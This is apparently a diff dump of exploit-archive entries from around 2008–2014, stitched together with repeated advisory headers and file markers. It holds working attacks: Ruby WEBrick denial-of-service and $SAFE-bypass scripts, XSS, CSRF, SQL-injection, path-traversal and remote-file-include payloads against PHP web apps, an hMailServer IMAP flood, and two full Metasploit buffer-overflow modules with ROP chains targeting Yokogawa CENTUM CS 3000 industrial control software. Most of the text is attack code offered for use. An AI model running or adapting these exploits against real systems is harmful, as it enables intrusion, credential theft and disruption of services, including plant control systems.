Ruby is prone to multiple vulnerabilities that can be leveraged to bypass security restrictions or cause a denial of service:
- Multiple security-bypass vulnerabilities occur because of errors in the 'safe level' restriction implementation. Attackers can leverage these issues to make insecure function calls and perform 'Syslog' operations.
- An error affecting 'WEBrick::HHTP::DefaultFileHandler' can exhaust system resources and deny service to legitimate users.
- A flaw in 'dl' can allow attackers to call unauthorized functions.
Attackers can exploit these issues to perform unauthorized actions on affected applications. This may aid in compromising the application and possibly the underlying computers. Attackers can also cause denial-of-service conditions.
These issues affect Ruby 1.8.5, 1.8.6-p286, 1.8.7-p71, and 1.9 r18423. Prior versions are also vulnerable.
#-- Exploitable Server --
# require 'webrick'
# WEBrick::HTTPServer.new(:Port => 2000, :DocumentRoot => "/etc").start
#-- Attack --
require 'net/http'
res = Net::HTTP.start("localhost", 2000) { |http|
req = Net::HTTP::Get.new("/passwd")
req['If-None-Match'] = %q{meh=""} + %q{foo="bar" } * 100
http.request(req)
}
p res

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@ -0,0 +1,20 @@
source: http://www.securityfocus.com/bid/30644/info
Ruby is prone to multiple vulnerabilities that can be leveraged to bypass security restrictions or cause a denial of service:
- Multiple security-bypass vulnerabilities occur because of errors in the 'safe level' restriction implementation. Attackers can leverage these issues to make insecure function calls and perform 'Syslog' operations.
- An error affecting 'WEBrick::HHTP::DefaultFileHandler' can exhaust system resources and deny service to legitimate users.
- A flaw in 'dl' can allow attackers to call unauthorized functions.
Attackers can exploit these issues to perform unauthorized actions on affected applications. This may aid in compromising the application and possibly the underlying computers. Attackers can also cause denial-of-service conditions.
These issues affect Ruby 1.8.5, 1.8.6-p286, 1.8.7-p71, and 1.9 r18423. Prior versions are also vulnerable.
require 'dl'
$SAFE = 1
h = DL.dlopen(nil)
sys = h.sym('system', 'IP')
uname = 'uname -rs'.taint
sys[uname]

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@ -0,0 +1,33 @@
source: http://www.securityfocus.com/bid/30644/info
Ruby is prone to multiple vulnerabilities that can be leveraged to bypass security restrictions or cause a denial of service:
- Multiple security-bypass vulnerabilities occur because of errors in the 'safe level' restriction implementation. Attackers can leverage these issues to make insecure function calls and perform 'Syslog' operations.
- An error affecting 'WEBrick::HHTP::DefaultFileHandler' can exhaust system resources and deny service to legitimate users.
- A flaw in 'dl' can allow attackers to call unauthorized functions.
Attackers can exploit these issues to perform unauthorized actions on affected applications. This may aid in compromising the application and possibly the underlying computers. Attackers can also cause denial-of-service conditions.
These issues affect Ruby 1.8.5, 1.8.6-p286, 1.8.7-p71, and 1.9 r18423. Prior versions are also vulnerable.
class Hello
def world
Thread.new do
$SAFE = 4
msg = "Hello, World!"
def msg.size
self.replace self*10 # replace string
1 # return wrong size
end
msg
end.value
end
end
$SAFE = 1 # or 2, or 3
s = Hello.new.world
if s.kind_of?(String)
puts s if s.size < 20 # print string which size is less than 20
end

65
platforms/php/webapps/32207.txt Executable file
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# Exploit Title :GNUpanel 0.3.5_R4 - Multiple Vulnerabilities
# Vendor Homepage :http://wp.geeklab.com.ar/gl-en/gnupanel/
# GNUPanel Version :0.3.5_R4
# Server :Centos 6.4
# Exploit Author :Necmettin COSKUN =>@babayarisi
# Blog :http://www.ncoskun.com http://www.grisapka.org
# Discovery date :03/11/2014
# CVE :N/A
GNUPanel is a hosting control panel for Debian. It is written in PHP and it is tailored to run on 32 and 64 bit Debian GNU/Linux web hosting servers.
Description
================
Stored XSS vulnerability
Vulnerability
================
GNUPanel has a pure coded ticket support system Comment "consultar" field is not ascaped so any
tags including script tags can be stored in them.
customer client can send malicious ticket to reseller client
reseller client can send malicious ticket to Server Admin
Proof of concept
================
Go to Support tab and click > New Ticket
Set subject field Demo
Set comment field "><script>alert("XSS");</script>
Click Send.
Go to Support tab and Click >Pending tickets
Click read button Bingo XSS ;)
================
Second one:
CSRF vulnerability
================
Description
================
CSRF vulnerability in BP Group Documents 1.2.1
Vulnerability
================
An unauthenticated user can cause a logged in user to create support ticket including
malicious code.
Proof of concept
================
<html>
<body>
<form id="baba" method="post" action="http://demo/gnupanel-reseller.php?seccion=tickets&plugin=enviar_ticket">
<input name="asunto" size="45" value="Demo12" maxlength="254">
<textarea name="consultar" rows="10" cols="50"><script>alert("XSS");</script>&lt;/textarea&gt;
<input name="ingresando" value="1" type="hidden">
<input name="resetea" value="Reset" type="reset">
<input name="agrega" value="Send" type="submit">
</form>
<script
type="text/javascript">document.getElementById("baba").submit();
</script>
</body>
</html>
================
Discovered by:
================
Necmettin COSKUN |GrisapkaGuvenlikGrubu|4ewa2getha!

46
platforms/php/webapps/32213.txt Executable file
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CVE: CVE-2014-1222
Vendor: Vtiger
Product: CRM
Affected version: Vtiger 5.4.0, 6.0 RC & 6.0.0 GA
Fixed version: Vtiger 6.0.0 Security patch 1
Reported by: Jerzy Kramarz
Details:
A local file inclusion vulnerability was discovered in the kcfinder component of the vtiger CRM 6.0 RC. This could be exploited to include arbitrary files via directory traversal sequences and subsequently disclose contents of arbitrary files.
The following request is a Proof-of-Concept for retrieving /etc/passwd file from remote system.
POST /vtigercrm6rc2/kcfinder/browse.php?type=files&lng=en&act=download HTTP/1.1
Host: 192.168.56.103
Proxy-Connection: keep-alive
Content-Length: 58
Cache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Origin: http://192.168.56.103
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/31.0.1650.63 Safari/537.36
Content-Type: application/x-www-form-urlencoded
DNT: 1
Referer: http://192.168.56.103/vtigercrm6rc2/kcfinder/browse.php
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8,es;q=0.6,pl;q=0.4
Cookie: PHPSESSID=ejkcv9cl3efa861460ufr39hl2; KCFINDER_showname=on; KCFINDER_showsize=off; KCFINDER_showtime=off; KCFINDER_order=name; KCFINDER_orderDesc=off; KCFINDER_view=thumbs; KCFINDER_displaySettings=off
dir=files&file=/../../../../../../../../../../../etc/passwd
Note: In order to exploit this vulnerability an attacker has to be authenticated.
Impact:
This vulnerability gives an attacker the ability to read local files from the server filesystem.
Exploit:
Exploit code is not required.
Vendor status:
23/12/2013 Advisory created
03/01/2014 Vendor contacted
14/01/2014 CVE obtained
27/01/2014 Vendor contact reattempted
10/02/2014 Vendor working on a fix
12/02/2014 Fix released
13/02/2014 Fix confirmed
11/03/2014 Published

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@ -0,0 +1,9 @@
source: http://www.securityfocus.com/bid/30620/info
RMSOFT Downloads Plus is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.
Downloads Plus 1.5 and 1.7 are affected; other versions may also be vulnerable.
http://www.example.com/modules/rmdp/search.php?key=">[XSS-code]&cat=0

10
platforms/php/webapps/32216.txt Executable file
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@ -0,0 +1,10 @@
source: http://www.securityfocus.com/bid/30620/info
RMSOFT Downloads Plus is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.
Downloads Plus 1.5 and 1.7 are affected; other versions may also be vulnerable.
http://www.example.com/modules/rmdp/down.php?id=1">[XSS-code]
http://www.example.com/modules/rmdp/down.php?com_mode=nest&com_order=1&id=1">[XSS-code]&cid=3#users

10
platforms/php/webapps/32217.txt Executable file
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@ -0,0 +1,10 @@
source: http://www.securityfocus.com/bid/30632/info
Linkspider is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.
Exploiting these issues can allow an attacker to compromise the application and the underlying system; other attacks are also possible.
Linkspider 1.08 is vulnerable; other versions may be affected as well.
http://www.example.com/links.php?_SERVER[DOCUMENT_ROOT]=http://www.example2.com
http://www.example.com/links.inc.php?_SERVER[DOCUMENT_ROOT]=http://www.example2.com

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@ -0,0 +1,9 @@
source: http://www.securityfocus.com/bid/30635/info
GooCMS is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied input data.
An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.
GooCMS 1.02 is vulnerable; other versions may also be affected.
http://www.example.com/index.php?task=comments&s=>?><ScRiPt%20%0a%0d>alert(123)%3B</ScRiPt>

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@ -0,0 +1,9 @@
source: http://www.securityfocus.com/bid/30642/info
Kayako SupportSuite is prone to multiple input-validation vulnerabilities, including an SQL-injection issue, multiple cross-site scripting issues, and an HTML-injection issue. The vulnerabilities occur because the application fails to sufficiently sanitize user-supplied data.
Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, control how the site is rendered to the user, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
Versions prior to Kayako SupportSuite 3.30 are vulnerable.
http://www.example.com/visitor/index.php?_m=livesupport&_a=startclientchat&sessionid="%20onload%3dalert(document.cookie)%20style=%3d

View file

@ -0,0 +1,9 @@
source: http://www.securityfocus.com/bid/30642/info
Kayako SupportSuite is prone to multiple input-validation vulnerabilities, including an SQL-injection issue, multiple cross-site scripting issues, and an HTML-injection issue. The vulnerabilities occur because the application fails to sufficiently sanitize user-supplied data.
Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, control how the site is rendered to the user, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
Versions prior to Kayako SupportSuite 3.30 are vulnerable.
http://www.example.com/index.php?_m=news&_a=view&filter=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E%3Ca%20href=%22

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@ -0,0 +1,9 @@
source: http://www.securityfocus.com/bid/30642/info
Kayako SupportSuite is prone to multiple input-validation vulnerabilities, including an SQL-injection issue, multiple cross-site scripting issues, and an HTML-injection issue. The vulnerabilities occur because the application fails to sufficiently sanitize user-supplied data.
Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, control how the site is rendered to the user, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
Versions prior to Kayako SupportSuite 3.30 are vulnerable.
http://www.example.com/staff/index.php?_m=tickets&_a=ticketactions&action=delcflink&ticketid=1&customfieldlinkid=-99&#039;UNION SELECT IF(SUBSTRING(password,1, 1) = CHAR(50), BENCHMARK(1000000,MD5(CHAR(1))), null),0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0 FROMss_staff WHERE staffid=1/*

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@ -0,0 +1,7 @@
source: http://www.securityfocus.com/bid/30659/info
Datafeed Studio is prone to a remote file-include vulnerability because it fails to properly sanitize user-supplied input.
An attacker can exploit this issue to include an arbitrary remote file containing malicious PHP code and execute it in the context of the webserver process. This may allow the attacker to compromise the application and the underlying system; other attacks are also possible.
http://www.example.com/admin/bin/patch.php?INSTALL_FOLDER=[Evilc0dE]

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@ -0,0 +1,9 @@
source: http://www.securityfocus.com/bid/30660/info
Datafeed Studio is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied input data.
An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.
Datafeed Studio 1.6.2 is vulnerable; other versions may also be affected.
http://www.example.com/search.php?q="><script>alert("XSS")</script>

14
platforms/php/webapps/32230.txt Executable file
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@ -0,0 +1,14 @@
source: http://www.securityfocus.com/bid/30665/info
PhPLinkExchange is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied input data.
An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.
PhpLinkExchange 1.01 is vulnerable; other versions may also be affected.
http://www.example.com/index.php?catid=[XSS]
http://www.example.com/index.php?page=user_add&catid=[XSS]
http://www.example.com/index.php?page=recip&catid=[XSS]
http://www.example.com/index.php?page=tellafriend&catid=[XSS]
http://www.example.com/index.php?page=contact&catid=[XSS]
http://www.example.com/index.php?page=tellafriend&id=[XSS]

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@ -0,0 +1,9 @@
source: http://www.securityfocus.com/bid/30673/info
Meet#Web is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.
Exploiting these issues may allow an attacker to compromise the application and the underlying system; other attacks are also possible.
Meet#Web 0.8 is vulnerable; other versions may also be affected.
http://www.example.com/cms/meetweb/classes/modules.php?root_path=[SHell]

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@ -0,0 +1,9 @@
source: http://www.securityfocus.com/bid/30673/info
Meet#Web is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.
Exploiting these issues may allow an attacker to compromise the application and the underlying system; other attacks are also possible.
Meet#Web 0.8 is vulnerable; other versions may also be affected.
http://www.example.com/cms/meetweb/classes/ManagerResource.class.php?root_path=[SHell]

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@ -0,0 +1,9 @@
source: http://www.securityfocus.com/bid/30673/info
Meet#Web is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.
Exploiting these issues may allow an attacker to compromise the application and the underlying system; other attacks are also possible.
Meet#Web 0.8 is vulnerable; other versions may also be affected.
http://www.example.com/cms/meetweb/classes/ManagerRightsResource.class.php?root_path=[SHell]

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@ -0,0 +1,9 @@
source: http://www.securityfocus.com/bid/30673/info
Meet#Web is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.
Exploiting these issues may allow an attacker to compromise the application and the underlying system; other attacks are also possible.
Meet#Web 0.8 is vulnerable; other versions may also be affected.
http://www.example.com/cms/meetweb/classes/RegForm.class.php?root_path=[SHell]

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@ -0,0 +1,9 @@
source: http://www.securityfocus.com/bid/30673/info
Meet#Web is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.
Exploiting these issues may allow an attacker to compromise the application and the underlying system; other attacks are also possible.
Meet#Web 0.8 is vulnerable; other versions may also be affected.
http://www.example.com/cms/meetweb/classes/RegResource.class.php?root_path=[SHell]

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@ -0,0 +1,9 @@
source: http://www.securityfocus.com/bid/30673/info
Meet#Web is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.
Exploiting these issues may allow an attacker to compromise the application and the underlying system; other attacks are also possible.
Meet#Web 0.8 is vulnerable; other versions may also be affected.
http://www.example.com/cms/meetweb/classes/RegRightsResource.class.php?root_path=[SHell]

15
platforms/windows/dos/32229.txt Executable file
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@ -0,0 +1,15 @@
source: http://www.securityfocus.com/bid/30663/info
hMailServer is prone to a remote denial-of-service vulnerability caused by large numbers of certain IMAP commands.
Exploiting this issue will cause the server to crash and deny access to legitimate users.
hMailServer 4.4.1 is vulnerable; other versions may also be affected.
A01 CREATE AAAAA
A02 CREATE AAAAAA
A03 CREATE AAAAAAA
...
A97 RENAME AAAAA BBBBB
A98 RENAME AAAAAA BBBBBB
A100 RENAME AAAAAAA BBBBBBB

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##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = AverageRanking
include Msf::Exploit::Remote::Tcp
include Msf::Exploit::Seh
def initialize(info = {})
super(update_info(info,
'Name' => 'Yokogawa CENTUM CS 3000 BKHOdeq.exe Buffer Overflow',
'Description' => %q{
This module exploits a stack based buffer overflow in Yokogawa CENTUM CS 3000. The vulnerability
exists in the service BKHOdeq.exe when handling specially crafted packets. This module has
been tested successfully on Yokogawa CENTUM CS 3000 R3.08.50 over Windows XP SP3 and Windows
2003 SP2.
},
'Author' =>
[
'juan vazquez',
'Redsadic <julian.vilas[at]gmail.com>'
],
'References' =>
[
[ 'URL', 'http://www.yokogawa.com/dcs/security/ysar/YSAR-14-0001E.pdf' ],
[ 'URL', 'https://community.rapid7.com/community/metasploit/blog/2014/03/10/yokogawa-centum-cs3000-vulnerabilities' ]
],
'Payload' =>
{
'Space' => 6000,
'DisableNops' => true,
'BadChars' => ":\r\n"
},
'Platform' => 'win',
'Targets' =>
[
[ 'Yokogawa CENTUM CS 3000 R3.08.50 / Windows [ XP SP3 / 2003 SP2 ]',
{
'Ret' => 0x0042068e, # stackpivot from 2488 BKHOdeq.exe # ADD ESP,9B8 # RETN
'Offset' => 8660,
'StackPivotAdjustment' => 108
}
]
],
'DefaultOptions' =>
{
'EXITFUNC' => 'thread',
'WfsDelay' => 10
},
'DisclosureDate' => 'Mar 10 2014',
'DefaultTarget' => 0))
register_options(
[
# Required for EIP offset
Opt::RPORT(20171)
], self.class)
end
def check
# It forces an huge allocation, which should fail,
# and return back an error answer from the server
# while parsing the packet header.
pkt = build_pkt(0xffffffff)
res = send_pkt(pkt)
if valid_response?(res)
return Exploit::CheckCode::Detected
end
Exploit::CheckCode::Safe
end
def exploit
my_payload = payload.encoded
rop_chain = create_rop_chain
data = rand_text(target['StackPivotAdjustment'])
data << rop_chain
data << stack_adjust
data << my_payload
data << rand_text(target['Offset'] - data.length)
data << generate_seh_record(target.ret)
pkt = build_pkt(data.length, data)
print_status("Trying target #{target.name}, sending #{pkt.length} bytes...")
connect
sock.put(pkt)
disconnect
end
def build_pkt(data_length, data = "")
header = rand_text(4) # iMark
header << [data_length].pack("N") # Data length
header << rand_text(4) # NumSet
header << rand_text(2) # req
header << rand_text(2) # Unknown
pkt = header + data
pkt
end
def send_pkt(data)
connect
sock.put(data)
res = sock.get_once
disconnect
res
end
def valid_response?(data)
return false unless data
return false unless data.length == 4
return false unless result_code(data) == 0
true
end
def result_code(data)
data.unpack("N").first
end
def stack_adjust
adjust = "\x64\xa1\x18\x00\x00\x00" # mov eax, fs:[0x18 # get teb
adjust << "\x83\xC0\x08" # add eax, byte 8 # get pointer to stacklimit
adjust << "\x8b\x20" # mov esp, [eax] # put esp at stacklimit
adjust << "\x81\xC4\x30\xF8\xFF\xFF" # add esp, -2000 # plus a little offset
adjust
end
def create_rop_chain
# rop chain generated with mona.py - www.corelan.be
rop_gadgets =
[
0x63b27a60, # RET # padding on XP SP3
0x63b27a60, # RET # padding on XP SP3
0x63b27a5f, # POP EAX # RETN [libbkhMsg.dll]
0x61e761e0, # ptr to &VirtualAlloc() [IAT LibBKCCommon.dll]
0x61e641e4, # MOV EAX,DWORD PTR DS:[EAX] # RETN [LibBKCCommon.dll]
0x00405522, # PUSH EAX # TEST EAX,C0330042 # POP ESI # ADD ESP,6D8 # RETN [BKHOdeq.exe]
].flatten.pack("V*")
rop_gadgets << rand_text(1752) # Padding because of the "ADD ESP,6D8" instr
rop_gadgets << [
0x61e62aa4, # POP EBP # RETN [LibBKCCommon.dll]
0x61e648c0, # & push esp # ret [LibBKCCommon.dll]
0x66f3243f, # POP EBX # RETN [libBKBEqrp.dll]
0x00000001, # 0x00000001-> ebx
0x61e729dd, # POP EDX # MOV EAX,5E5FFFFF # RETN [LibBKCCommon.dll]
0x00001000, # 0x00001000-> edx
0x63a93f6f, # POP ECX # RETN [libbkhopx.dll]
0x00000040, # 0x00000040-> ecx
0x63ad1f6a, # POP EDI # RETN [libbkhOdeq.dll]
0x63dd3812, # RETN (ROP NOP) [libbkhCsSrch.dll]
0x61e60b4c, # POP EAX # RETN [LibBKCCommon.dll]
0x90909090, # nop
0x63ae5cc3, # PUSHAD # RETN [libbkhOdbh.dll]
].flatten.pack("V*")
rop_gadgets
end
end

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##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::Tcp
def initialize(info = {})
super(update_info(info,
'Name' => 'Yokogawa CENTUM CS 3000 BKBCopyD.exe Buffer Overflow',
'Description' => %q{
This module exploits a stack based buffer overflow in Yokogawa CENTUM CS 3000. The vulnerability
exists in the service BKBCopyD.exe when handling specially crafted packets. This module has
been tested successfully on Yokogawa CENTUM CS 3000 R3.08.50 over Windows XP SP3.
},
'Author' =>
[
'juan vazquez',
'Redsadic <julian.vilas[at]gmail.com>'
],
'References' =>
[
[ 'URL', 'http://www.yokogawa.com/dcs/security/ysar/YSAR-14-0001E.pdf' ],
[ 'URL', 'https://community.rapid7.com/community/metasploit/blog/2014/03/10/yokogawa-centum-cs3000-vulnerabilities' ]
],
'Payload' =>
{
'Space' => 373, # 500 for the full RETR argument
'DisableNops' => true,
'BadChars' => "\x00\x0d\x0a\xff",
'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff\xff\xff" # Stack adjustment # add esp, -3500 # double \xff char to put it on memory
},
'DefaultOptions' =>
{
'EXITFUNC' => 'thread',
},
'Platform' => 'win',
'Targets' =>
[
[ 'Yokogawa CENTUM CS 3000 R3.08.50 / Windows XP SP3',
{
'Ret' => 0x6404625d, # push esp # ret # libBKBUtil.dll]
'Offset' => 123
}
],
],
'DisclosureDate' => 'Mar 10 2014',
'DefaultTarget' => 0))
register_options(
[
Opt::RPORT(20111)
], self.class)
end
def check
pkt = build_probe
res = send_pkt(pkt)
if valid_response?(res)
return Exploit::CheckCode::Detected
end
Exploit::CheckCode::Safe
end
def exploit
data = "RETR "
data << rand_text(target['Offset'])
data << [target.ret].pack("V")
data << payload.encoded
data << "\n"
print_status("Trying target #{target.name}, sending #{data.length} bytes...")
connect
sock.put(data)
disconnect
end
def build_probe
"#{rand_text_alpha(10)}\n"
end
def send_pkt(data)
connect
sock.put(data)
data = sock.get_once
disconnect
return data
end
def valid_response?(data)
return false unless !!data
return false unless data =~ /500 'yyparse error': command not understood/
return true
end
end